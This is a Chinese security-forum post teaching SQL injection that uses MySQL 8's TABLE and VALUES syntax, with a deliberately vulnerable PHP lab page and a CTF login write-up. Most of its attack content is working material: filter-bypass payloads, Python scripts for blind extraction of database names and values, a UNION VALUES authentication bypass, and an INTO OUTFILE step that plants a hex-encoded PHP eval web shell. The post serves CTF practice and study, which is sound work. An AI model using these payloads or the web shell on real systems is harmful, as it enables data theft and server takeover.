安全矩阵

用户名  找回密码
 立即注册
帖子
查看: 2743|回复: 0

一篇文章弄懂mysql8新特性注入

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-19 10:24:30 | 显示全部楼层 |阅读模式
原文链接:一篇文章弄懂mysql8新特性注入

前言
最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习。
环境搭建
我这里是用docker在服务器上拉的,然后用navicat来看的
下载
  1. docker pull mysql:8.0.21

  2. docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21
复制代码

  1. docker exec -it mysql8 bash

  2. mysql -uroot -p
  3. //然后输入密码
复制代码


开启远程访问权限
  1. use mysql;

  2. select host,user from user;

  3. ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';

  4. flush privileges;
复制代码



连进去看看版本号就可以了,如果是8.0.21则环境搭建完成

基础知识
本次测试所用到的user表内容如下

table基本用法
在MYSQL8以后出现的新语法,作用和select类似。
作用:列出表中全部内容语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
table user order by 2
table user limit 2与SELECT的区别:
1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
注意事项
比较问题1
  1. (table information_schema.TABLESPACES_EXTENSIONS limit 6,7)

  2. 结果
  3. TABLESOACE_NAME
  4. tmp/user
复制代码


这里用小于号进行比较
select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:0select (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:1select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:1综上可以看出来如果是u的,其ascii 编码大于t 的,得到的是1。
但是如果是s的话小于得到1,但是如果是t的话是等于,但是这里的返回值则为1。
所以在进行注入中注意要把得到的数ascii值减1。
比较问题2
来看下面的两个例子
select (('tmp/use','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:1select (('tmp/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:NULLselect (('tmp/uses','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:0所以这里在判断最后一位是,要注意这里记得到取0之前的值。
整数比较问题
table user limit 0,1返回值:1 hel看下面的例子
select (('0',2)<(table user limit 0,1))返回值:1select (('1',2)<(table user limit 0,1))返回值:0select (('2',2)<(table user limit 0,1))返回值:0select (('0aaaa',2)<(table user limit 0,1))返回值:1select (('1aaaa',2)<(table user limit 0,1))返回值:0在这里,由于id是整型,当我们输入的是字符型时,在进行比较过程中,字符型会被强制转换为整型,而不是像之前一样读到了第一位以后没有第二位就会停止,也就是都会强制转换为整型进行比较并且会一直持续下去,所以以后写脚本当跑到最后一位的时候尤其需要注意。
VALUESVALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。
作用:列出一行的值语法:VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list:   ROW(value_list)[, ROW(value_list)][, ...]value_list:   value[, value][, ...]column_designator:   column_index他的语法看起来很长,但用起来很简洁。
基本使用
  1. VALUES ROW(1,2)
  2. VALUES ROW(1,2,3)
  3. VALUES ROW(1,2,3),ROW(5,6,7)
复制代码


配合union使用
  1. VALUES ROW(1, 2) union select * from user
  2. select * from user union VALUES ROW(1, 2)
复制代码


information_schema.TABLESPACES_EXTENSIONS我们可以通过这个表去查询所有数据库中的数据库和数据表
  1. table information_schema.TABLESPACES_EXTENSIONS
  2. 等价于
  3. select * from information_schema.TABLESPACES_EXTENSIONS
复制代码



在这里我也列出几个和他相同功能的函数
  1. information_schema.SCHEMA information_schema.TABLES
  2. information.COLUMNS
  3. mysql.innodb_table_stats
  4. mysql.innodb_index_stats
  5. sys.schema_tables_with_full_table_scans
复制代码

实战演练基础练习index.php
  1. <?php
  2. // error_reporting(0);
  3. require_once('config.php');
  4. highlight_file(__FILE__);
  5. $id = isset($_POST['id'])? $_POST['id'] : 1;
  6. if (preg_match("/(select|and|or| )/i",$id) == 1){
  7.    die("MySQL version: ".$conn->server_info);
  8. }
  9. $data = $conn->query("SELECT username from users where id = $id");
  10. foreach ($data as $users){
  11.    var_dump($users['username']);
  12. }
  13. ?>
复制代码

config.php
  1. <?php
  2. // config.php
  3. $dbhost = 'ip';       // mysql服务器主机地址
  4. $dbuser = 'root';           // mysql用户名
  5. $dbpass = '123456';          // mysql用户名密码
  6. $dbname = 'user';         // mysql数据库
  7. $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
  8. ?>
复制代码

数据库信息

输入id会返回数据库的值

这里过滤了几个字符,尝试绕过并报出数据库

id=0%09union%09values%09row(database())
爆字段

如果字段数多了或者少了会报错

得到字段数
  1. id=0%09||('1','')<(table%09users%09limit%091)
  2. //有回显
  3. id=0%09||('2','')<(table%09users%09limit%091)
  4. //无回显
复制代码


然后去爆破值
  1. select ('1','a')<(table users limit 1)
  2. //有回显
  3. select ('1','r')<(table users limit 1)
  4. //有回显
  5. id=0%09||('1','s')<(table%09users%09limit%091)
  6. //这里就可以得到第一个值,然后继续爆

  7. id=0%09||('1','roos')<(table%09users%09limit%091)
  8. //有回显
  9. id=0%09||('1','root')<(table%09users%09limit%091)
  10. //无回显
复制代码

到这里记得在最后一个值加上1,这样就可以得到数据库的值脚本
  1. import requests

  2. def ord2hex(string):
  3. result = ""
  4. for i in string:
  5. r = hex(ord(i));
  6. r = r.replace('0x','')
  7. result = result+r
  8. return '0x'+result

  9. tables = 'roabcdefghijklmnpqstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  10. flag = ""
  11. for i in range(0,50):
  12. for j in range(110,122):
  13. data = {
  14. 'id':"0/**/||('1','%s')<(table/**/users/**/limit/**/1)"%(flag+chr(j)),
  15. }
  16. r = requests.post('http://127.0.0.1/index.php',data=data);
  17. print(data)
  18. if 'string(4)' in r.text:
  19. continue
  20. else:
  21. flag = flag +chr(j-1)
  22. print(flag)
  23. break
  24. if(len(flag)<i):
  25. break
  26. print(flag[:-1]+chr(ord(flag[-1:])+1))
复制代码

写文件除了上面的方法还可以通过读写来getshell
查看是否有权限写入文件
  1. id=0/**/union/**/values/**/row(user())
  2. id=0/**/union/**/values/**/row(@@secure_file_priv)
复制代码


如果有,则可以通过下面的语句写入

id=0/**/union/**/values/**/row(load_file('/flag'))
  1. id=0/**/union/**/values/**/row(0x3c3f706870 406576616c28245f504f53545b315d293b3f3e)
  2. /**/into/**/outfile/**/'/var/www/html/shell.php'

  3. //<?php @eval($_POST[1]);?>
复制代码


香山杯---login这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。
描述
题目内容:只是一个简单的登录框,登录就有flag。hint: mysql8新特性:values的利用解题过程
进去就一个登陆框,直接抓包看看
发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵
简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。
这里还可以用||来进行拼接。
测试,发现这样就可以进行注入。

username=123' || 1=1#&password=456&login=login
脚本
  1. import requests

  2. flag=''
  3. i=0
  4. while True:
  5. small=32
  6. big=127
  7. i=i+1
  8. while small<big:
  9. mid=small+big>>1
  10. data={
  11. 'username':f"1' || ascii(mid(database(),{i},1))>{mid}#",
  12. 'password':'1',
  13. }
  14. r=requests.post('http://eci-2ze6yq2cnbmcsh0tfry6.cloudeci1.ichunqiu.com/',data=data)
  15. if '密码错误' in r.text:
  16. small=mid+1
  17. else:
  18. big=mid
  19. if(i>4):
  20. break
  21. else:
  22. print(chr(small))
  23. flag+=chr(small)

  24. print(flag)
复制代码


通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。
  1. import requests


  2. def ord2hex(string):
  3. result = ""
  4. for i in string:
  5. r = hex(ord(i));
  6. r = r.replace('0x','')
  7. result = result+r
  8. return '0x'+result

  9. tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
  10. flag = ""
  11. for i in range(0,50):
  12. for j in range(48,122):
  13. data = {
  14. # 'username':"a0'||(('1','admin','%s')<(table ctfusers limit 0,1))#"%(flag+chr(j)),
  15. #'username':"a0'||(('ctf','%s',3,4,5,6,7,8)<=(table mysql.innodb_index_stats limit 2,1))#"%(flag+chr(j)),
  16. # username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login
  17.   'password':'',
  18. }
  19. r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com',data=data);
  20. if '用户名不存在' in r.text:
  21.   flag = flag +chr(j-1)
  22.   print(flag)
  23.   break
复制代码

上面脚本可以爆破出数据库的值,但是这里的密码是md5加密的,不能直接解密。本题就用union去生成了一个新的values来进行绕过。

username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login
登录进去就有flag了。
环境搭建问题
如果在搭建本地环境中出现了Call to a member function query() on boolean的问题的话,修改/etc/mysql/my.cnf文件。(注意一下,这里可能文件的路径会不一样,只要找my.cnf就可以)
就添加这两行
  1. bind-address = 0.0.0.0
  2. default_authentication_plugin=mysql_native_password
复制代码


完整的代码
  1. # Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved.
  2. #
  3. # This program is free software; you can redistribute it and/or modify
  4. # it under the terms of the GNU General Public License as published by
  5. # the Free Software Foundation; version 2 of the License.
  6. #
  7. # This program is distributed in the hope that it will be useful,
  8. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  9. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  10. # GNU General Public License for more details.
  11. #
  12. # You should have received a copy of the GNU General Public License
  13. # along with this program; if not, write to the Free Software
  14. # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA

  15. #
  16. # The MySQL Server configuration file.
  17. #
  18. # For explanations see
  19. # http://dev.mysql.com/doc/mysql/en/server-system-variables.html

  20. [mysqld]
  21. pid-file       = /var/run/mysqld/mysqld.pid
  22. socket         = /var/run/mysqld/mysqld.sock
  23. datadir         = /var/lib/mysql
  24. secure-file-priv= NULL

  25. bind-address = 0.0.0.0
  26. default_authentication_plugin=mysql_native_password

  27. # Custom config should go here
复制代码



回复

举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-5 17:34 , Processed in 0.018585 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表